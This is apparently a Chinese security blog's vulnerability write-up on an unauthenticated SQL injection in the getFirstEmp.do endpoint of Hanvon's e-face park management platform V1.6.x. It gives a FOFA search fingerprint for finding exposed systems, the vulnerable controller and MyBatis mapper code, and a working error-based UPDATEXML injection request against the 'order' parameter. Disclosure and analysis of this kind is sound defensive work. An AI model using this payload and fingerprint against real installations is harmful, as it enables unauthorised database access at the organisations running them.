汉王e脸通综合管理平台 getFirstEmp.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 getFirstEmp.do 接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 FirstPeopleOpenController 里关于 getFirstEmp 的实现

@RequestMapping(
        value = {"getFirstEmp.do"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    public RequestJson getFirstEmp(@RequestParam(required = false) Integer page, @RequestParam(required = false) Integer pageSize, @RequestParam(required = false) String name, @RequestParam(required = false) Long groupId, @RequestParam(required = false) Long departmentId, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
        RequestJson result = new RequestJson();

        try {
            if (page == null) {
                page = Constants.DEFAULT_START_PAGE_INDEX;
            }

            if (pageSize == null) {
                pageSize = Constants.PAGE_SIZE;
            }

            PageHelper.startPage(page, pageSize);
            EmployeeInfoParam record = new EmployeeInfoParam();
            if (name != null) {
                record.setKey(name);
            }

            if (null != departmentId) {
                record.setDepartmentId(departmentId);
            }

            record.setOrder(order);
            record.setColumnKey(columnKey);
            if (null == groupId) {
                result.setMsg("操作失败");
            } else {
                record.setTeamId(groupId);
                List<EmployeeInfoVO> employeeList = this.firstPeopleOpenAsm.getEmployeeByDoorId(record);
                PageInfo<EmployeeInfoVO> info = new PageInfo(employeeList);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 AccessFirstOpenDoorDao.xml

<select id="getEmployeeByDoorId" resultType="com.hanvon.iface.tpm.access.EmployeeInfoVO">
    select afoe.ID, ei.SZ_NAME name,ei.SZ_EMPLOY_ID attendanceCode,ed.NG_ID departmentId,ei.SZ_TELEPHONE phone,ed.SZ_NAME departmentName
    from ACCESS_FIRST_OPEN_EMPLOYEE afoe
    left join SYS_USER ei ON ei.NG_ID = afoe.EMPLOYEE_ID
    left join SYS_USER_BRANCH sub on sub.NG_USER_ID = ei.NG_ID
    left join SYS_BRANCH ed on ed.NG_ID = sub.NG_BRANCH_ID
    where ei.NT_USER_STATE
    <if test="teamId != null">
      and afoe.DOOR_ID = #{teamId}
    </if>
    <if test="key != null and key != ''">
      and (ei.SZ_NAME like CONCAT('%',#{key}, '%')
      or  ei.SZ_EMPLOY_ID like concat('%', #{key},'%')
      or  ei.SZ_TELEPHONE like concat('%', #{key},'%'))
    </if>
    <if test="departmentId != null">
      AND ED.SZ_BRANCH_PATH like CONCAT((SELECT SZ_BRANCH_PATH from SYS_BRANCH WHERE NG_ID = #{departmentId,jdbcType=INTEGER}), '%')
    </if>
    ORDER BY
    <if test="order == null or order == ''">
      afoe.ID DESC
    </if>
    <if test="order != null and order != ''">
      ${columnKey} ${order}
    </if>
  </select>

需要注意必须存在 groupId 参数,否则就不会进入sql处理流程。

if (null == groupId) {
    result.setMsg("操作失败");

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

漏洞复现

GET /manage/firstPeopleOpen/getFirstEmp.do?recoToken=67mds2pxXQb&page=1&pageSize=10&groupId=1&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据版本号


手机扫码阅读

孚盟云CRM GetPic.aspx SQL注入漏洞

东胜物流软件 GetDataListCA SQL注入漏洞

评 论